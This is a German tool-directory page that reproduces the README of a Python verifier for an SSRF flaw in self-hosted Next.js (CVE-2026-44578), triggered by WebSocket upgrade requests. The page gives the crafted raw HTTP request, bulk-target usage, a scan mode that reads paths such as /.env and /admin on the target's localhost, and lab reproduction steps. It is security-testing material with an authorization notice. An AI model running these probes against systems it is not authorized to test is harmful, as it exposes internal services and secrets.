Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
verify-ghsa-c4j6-fc7j-m34r — OOB-Verifizierer für GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (Next.js WebSocket-Upgrade SSRF) | Kitploit
Tools/GitHubGitHub/panchocosil/verify-ghsa-c4j6-fc7j-m34r
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsRed Teaming
GitHubpanchocosil/verify-ghsa-c4j6-fc7j-m34r

verify-ghsa-c4j6-fc7j-m34r

OOB-Verifizierer für GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (Next.js WebSocket-Upgrade SSRF)

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
vor 3 MonatenNoch nicht geprüft

verify-ghsa-c4j6-fc7j-m34r

In-Band-Verifizierer für GHSA-c4j6-fc7j-m34r / CVE-2026-44578 – Serverseitige Anfragenfälschung (SSRF) in Next.js über WebSocket-Upgrade-Anfragen.

⚠️ Nur für autorisierte Sicherheitstests. Sie sind dafür verantwortlich sicherzustellen, dass Sie die Erlaubnis haben, jedes Ziel zu testen, das Sie an dieses Skript übergeben.

Die Schwachstelle

FeldWert
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CWECWE-918 (SSRF)
CVSS v3.18.6 (Hoch) – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Betroffennext >=13.4.13 <15.5.16, >=16.0.0 <16.2.5
Gepatched15.5.16, 16.2.5
Fix-Commitc4f69086
Nicht betroffenVercel-gehostet; output: "export"; Bereitstellungen hinter einem Reverse Proxy, der Upgrade nicht weiterleitet

Wie der Bug tatsächlich funktioniert (empirisch verifiziert gegen 15.5.15 vs. 15.5.16)

  1. Ein Angreifer öffnet eine TCP-Verbindung zu einem selbst gehosteten Next.js-Prozess und sendet ein HTTP/1.1-WebSocket-Upgrade, dessen Anfrage-URI eine absolute URL ist:

    root@kitploit:~
    GET http://anything/<pfad> HTTP/1.1
    Host: <ziel>
    Connection: Upgrade
    Upgrade: websocket
    Sec-WebSocket-Version: 13
    Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
    
  2. In resolveRoutes enthält die URL // (wie jede absolute URI), was dem Zweig "normalize repeated slashes" entspricht. Dieser Zweig kehrt frühzeitig zurück mit { finished: true, statusCode: 308, parsedUrl: <zerstückelt> }. Der Normalisierer kollabiert http://host/pfad zu http:/host/pfad (ein Schrägstrich).

  3. In router-server.ts ignorierte der vor dem Patch Upgrade-Handler finished/statusCode und prüfte nur parsedUrl.protocol. Da das Protokoll die Normalisierung überlebt, rief er proxyRequest(...) auf.

Der Fix (Commit c4f69086) führte eine Prüfung im Upgrade-Handler ein, ob finished && !statusCode vor dem Proxying. Der 308-Normalisierungsfall besteht jetzt die !statusCode-Prüfung nicht und der Socket wird geschlossen.

Warum ein Callback-basierter OOB-Verifizierer für dieses CVE nicht funktioniert

Der Proxy erreicht nie einen externen Host. Wenn Sie einen Interactsh-, Burp-Collaborator- oder Webhook-Köder einrichten und erwarten, dass der Next-Prozess nach Hause telefoniert, wird er das nicht tun – die Verbindung geht zu localhost auf dem Zielrechner. Dieser Verifizierer verwendet daher ein In-Band-Signal, das vom Upgrade-Socket gelesen wird: Ein verwundbarer Server gibt einen erkennbaren Fehler-Textkörper zurück, ein gepatchter Server nichts.

Praktische Auswirkungen

Das SSRF-Ziel ist eingeschränkt, aber in realen Bereitstellungen dennoch bedeutsam:

  • Sidecar-Container / Reverse Proxys / Admin-Panels, die auf demselben Host 127.0.0.1:80 oder :443 binden und Anfragen vom localhost vertrauen.
  • Docker-Socket, der über HTTP auf 127.0.0.1:80 exponiert ist (ungewöhnlich, aber beobachtet).
  • Pfad-Traversierung in jeden localhost-HTTP-Dienst mit kontrolliertem URI-Pfad und WebSocket-Upgrade-Semantik.

AWS-/GCP-/Azure-Metadaten-Endpunkte (169.254.169.254) sind nicht direkt erreichbar, da der Fehler das Ziel auf localhost festlegt.

Erkennungsmodell

Für jedes Ziel öffnet das Skript einen rohen TCP- (oder TLS-)Socket, sendet das präparierte Upgrade, liest die Antwort und erzeugt zwei Signale:

  • verdict – ob der Fehler vorhanden ist.
  • impact_confirmed – ob die SSRF tatsächlich Daten exfiltriert hat (d.h. ein auf localhost:80/443 des Ziels mit laufender Dienst hat geantwortet und wir haben dessen Antwort zurückbekommen).

Wenn impact_confirmed wahr ist, enthält die JSON-Ausgabe auch upstream_status, upstream_server und upstream_content_type, die aus der durchgesickerten Antwort extrahiert werden (nützlich für Triage/Report-Erstellung).

False-Positive-Schutz für Frontend-Proxy

Standardmäßig erhält jedes Ziel auch eine Kontrollsonde mit derselben absoluten URI-Anfragezeile, aber ohne Upgrade-Header (Connection: close). Wenn das Frontend auf beide Sonden dieselbe Antwort zurückgibt (Statuszeile + Größe innerhalb Toleranz), weist das Frontend des Hosts selbst die absolute URI-Anfragezeile zurück – nginx 400, Apache 400, CDN-Edge – und die SSRF hat Next nie erreicht. Das Ergebnis wird auf front_end_intercepts herabgestuft und die JSON-Ausgabe enthält front_end_status und front_end_server, die aus der Proxy-Antwort extrahiert wurden, damit der Betreiber identifizieren kann, was abfängt.

Dies eliminiert einen realen False-Positive-Fall, der beobachtet wurde, wenn selbst gehostetes Next hinter nginx/Apache sitzt: Diese Proxies lehnen die Anfragezeile GET http:///x HTTP/1.1 der Sonde mit einem generischen 400 ab, was der Detektor zuvor fälschlicherweise als vulnerable_proxy_succeeded interpretiert hat. Übergeben Sie --no-control-probe, um dies zu deaktivieren und die rohen Ergebnisse zu sehen.

Anforderungen

  • Python 3.10+
  • Keine Drittanbieter-Abhängigkeiten (nur stdlib)

Verwendung

root@kitploit:~
# Einzelnes Ziel
python3 verify_ghsa_c4j6.py --target https://app.example.com

# Mehrere Ziele durch Wiederholung des Flags
python3 verify_ghsa_c4j6.py \
    --target https://app1.example.com \
    --target app2.example.com:3000 \
    --target 10.0.0.5:80

# Aus einer Datei (ein Ziel pro Zeile; '#' für Kommentare)
python3 verify_ghsa_c4j6.py --targets-file targets.txt

# Von stdin
cat targets.txt | python3 verify_ghsa_c4j6.py

# JSON-Lines-Ausgabe für nachgelagerte Tools
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json

# Auflistung ko-lokalisierter Dienste auf dem localhost:80/443 des Ziels über den Fehler
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan

# Gleiches, mit einer benutzerdefinierten Pfadliste
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt

Scan-Modus

--scan durchsucht eine eingebaute Liste gängiger Pfade (Apache/nginx-Statusmodule, Health- und Metrik-Endpunkte, Spring Boot Actuator, Go pprof, Docker-Daemon-Endpunkte, gängige Admin-Panels, durchsickernde Konfigurationsdateien, Elasticsearch-Routen, etc.) durch den SSRF-Gadget.

Standardmäßig führt der Scan-Modus eine zusätzliche differentiale Baseline-Sonde mit einem zufälligen nicht vorhandenen Pfad pro Ziel durch. Nachfolgende Sonden werden nur dann mit DIFF gekennzeichnet, wenn ihre Signatur (status, body length) von der Baseline abweicht – einheitliche 404-Fehler von einem "nichts gefunden"-Upstream werden als noise markiert und erhöhen die Trefferzahl nicht. Übergeben Sie --no-differential, um jede Sonde zu melden, die einen Dienst erreicht hat (Legacy-Verhalten).

Die Ausgabe wird pro Ziel gruppiert:

root@kitploit:~
=== vulnscope.local:3030 ===
  baseline (random path): verdict=vulnerable_proxy_succeeded   status=404  bytes≈500
  [VULN+] DIFF  /                              impact=YES  status=200  ct='text/html'
  [VULN+] DIFF  /.env                          impact=YES  status=200  ct='application/octet-stream'
  [VULN+] DIFF  /admin                         impact=YES  status=200  ct='application/octet-stream'
  [VULN+] DIFF  /index.html                    impact=YES  status=200  ct='text/html'
  [VULN+] DIFF  /server-status                 impact=YES  status=200  ct='application/octet-stream'
  [VULN+] noise /_health                       impact=YES  status=404  ct='text/html;charset=utf-8'
  [VULN+] noise /actuator/env                  impact=YES  status=404  ct='text/html;charset=utf-8'
  ... (53 weitere 'noise'-404-Pfade unterdrückt) ...
  -> 5 differentiale Treffer / 58 Sonden
  -> upstream server(s) gesehen: SimpleHTTP/0.6 Python/3.14.4

DIFF-Zeilen sind die echten Treffer – Pfade, deren Antwort von der Zufallspfad-Baseline abwich (anderer Status, andere Body-Länge). noise-Zeilen erreichten ebenfalls einen HTTP-Dienst, produzierten aber dieselbe langweilige Antwort wie die Baseline – typischerweise einheitliche 404, die der Betreiber nicht beachtet. Wenn jede Sonde noise ist und es keine Baseline-Abweichung gibt, ist der Fehler immer noch vorhanden, aber auf localhost:80/443 dieses Hosts hört nichts Nützliches.

Flags

Ziele können host, host:port oder vollständige http(s)://...-URLs sein.

Proxy-Unterstützung

Tunnelt alle Sonden durch einen HTTP-CONNECT-Proxy zur Inspektion in Burp / mitmproxy / OWASP ZAP:

root@kitploit:~
# reines HTTP-Ziel über Burp
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080

# HTTPS-Ziel über Burp (Burp MITM-t TLS – benötigt --insecure oder Installation von Burp CA)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure

# Proxy mit Basic Auth
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:[email protected]:3128

Der Proxy sieht ein CONNECT host:port, gefolgt von der rohen Upgrade-Nutzlast – nützlich, wenn Burp die SSRF-Sonden protokollieren, wiederholen oder modifizieren soll.

Lokales Reproduzieren

Sie können ein verwundbares Labor mit fünf Befehlen ausführen:

root@kitploit:~
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i [email protected] react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030

Ausgabe:

root@kitploit:~
[ VULN] target=127.0.0.1:3030  verdict=vulnerable  impact= no
        snippet: 'Internal Server Error'

Wiederholen Sie mit [email protected] und Sie sollten verdict=likely_patched sehen.

Auswirkungs-Demo (echte Datenexfiltration)

demo_impact.sh startet Next auf :80 (damit sein auf localhost festgelegtes SSRF-Ziel derselbe Next-Prozess ist) und liest Nexts eigenes HTML durch den Fehler zurück. Erfordert sudo für die privilegierten Port-Bindungen.

root@kitploit:~
LAB_DIR=/pfad/zu/next-vuln-lab ./demo_impact.sh

Erwartete Ausgabe endet mit IMPACT CONFIRMED — SSRF erreichte einen Dienst auf dem Ziel-Localhost und las Antwortdaten zurück.

Einschränkungen

  • False Negatives: Jeder Reverse Proxy vor Next, der den Upgrade-Header nicht weiterleitet, maskiert die Schwachstelle; das Skript meldet likely_patched. Testen Sie erneut direkt gegen den Next-Prozess, wenn möglich.
  • False Positives: Die wörtliche Zeichenkette Internal Server Error könnte theoretisch auch von einem vorgeschalteten Proxy selbst zurückgegeben werden. Um dies auszuschließen, senden Sie dieselbe Nutzlast erneut mit Connection: close anstelle von Connection: Upgrade – ein wirklich verwundbares Next gibt dann keinen Internal Server Error-Body mehr zurück (anderer Codepfad).
  • Nur HTTP/2-Ziele: Nicht behandelt. next start verwendet standardmäßig HTTP/1.1.

Verantwortungsvoller Einsatz

Testen Sie nur Systeme, die Sie besitzen oder für die Sie eine ausdrückliche, schriftliche Autorisierung zur Bewertung haben.

Referenzen

  • Advisory: https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  • Next.js v15.5.16 Release: https://github.com/vercel/next.js/releases/tag/v15.5.16
  • Next.js v16.2.5 Release: https://github.com/vercel/next.js/releases/tag/v16.2.5
  • Fix-Commit: https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8

Lizenz

MIT

Tool herunterladen
  • proxyRequest führt url.format(parsedUrl) auf der verstümmelten URL aus und erhält http:/host:port/pfad. http-proxy parst dieses Ziel, findet keinen Host (url.parse('http:/...').host === null) und fällt auf sein Standardziel zurück: localhost:80 (oder localhost:443 für https).

  • In der Praxis erlaubt die SSRF also, dass Next einen WebSocket-Upgrade zu dem localhost:80 / localhost:443 des Next.js-Hosts selbst mit einem vom Angreifer kontrollierten Pfad öffnet.

  • AntwortErgebnisimpact_confirmed
    Enthält Internal Server Errorvulnerablefalse – Fehler nachgewiesen, aber Proxy hat nichts auf localhost getroffen
    Beginnt mit HTTP/1.vulnerable_proxy_succeededtrue – echte Antwortdaten exfiltriert
    Leer / saubere Schließunglikely_patchedfalse – umfasst auch "nicht Next", "Reverse Proxy hat Upgrade entfernt", "Vercel"
    Identisch mit Kontrolle ohne Upgradefront_end_interceptsfalse – Frontend-Proxy hat beide Sonden kurzgeschlossen; SSRF hat Next nie erreicht
    Alles andereinconclusivefalse
    FlagBeschreibungStandard
    --target URLEin einzelnes Ziel. Für mehrere wiederholen.–
    --targets-file PFADDatei mit einem Ziel pro Zeile.–
    --probe-path PFADPfad, der in der präparierten absoluten URI verwendet wird. Erreicht den localhost-Dienst des Ziels unter diesem Pfad (protokolliert mit pro-Ziel-Token-Suffix)./x
    --scanAuflistung gängiger Pfade auf dem localhost-Dienst jedes Ziels. Sendet eine differentiale Baseline-Sonde pro Ziel plus die Pfadliste.aus
    --scan-paths-file PFADBenutzerdefinierte Pfadliste für den Scan-Modus (eine pro Zeile). Impliziert --scan.eingebaut
    --no-differentialIm --scan-Modus die Baseline-Sonde überspringen und jede Sonde melden, die einen Dienst erreicht hat (Legacy-Verhalten).aus
    --no-control-probeDeaktiviert den Frontend-Kurzschlussschutz (zusätzliche Sonde ohne Upgrade pro Ziel). Nützlich, wenn Ziele bekanntermaßen direkte Next-Prozesse sind.aus
    --timeout SEKTimeout pro Socket.5
    --concurrency NParallele Sonden.10
    --insecureTLS-Zertifikatsprüfung überspringen. Erforderlich mit --proxy bei MITM von TLS.aus
    --proxy URLTunnel durch einen HTTP-CONNECT-Proxy (Burp / mitmproxy / ZAP). Unterstützt Basic Auth über http://user:pass@host:port. Erfordert Python 3.11+ für TLS-Ziele.direkt
    --jsonJSON Lines statt menschenlesbarem Text ausgeben.aus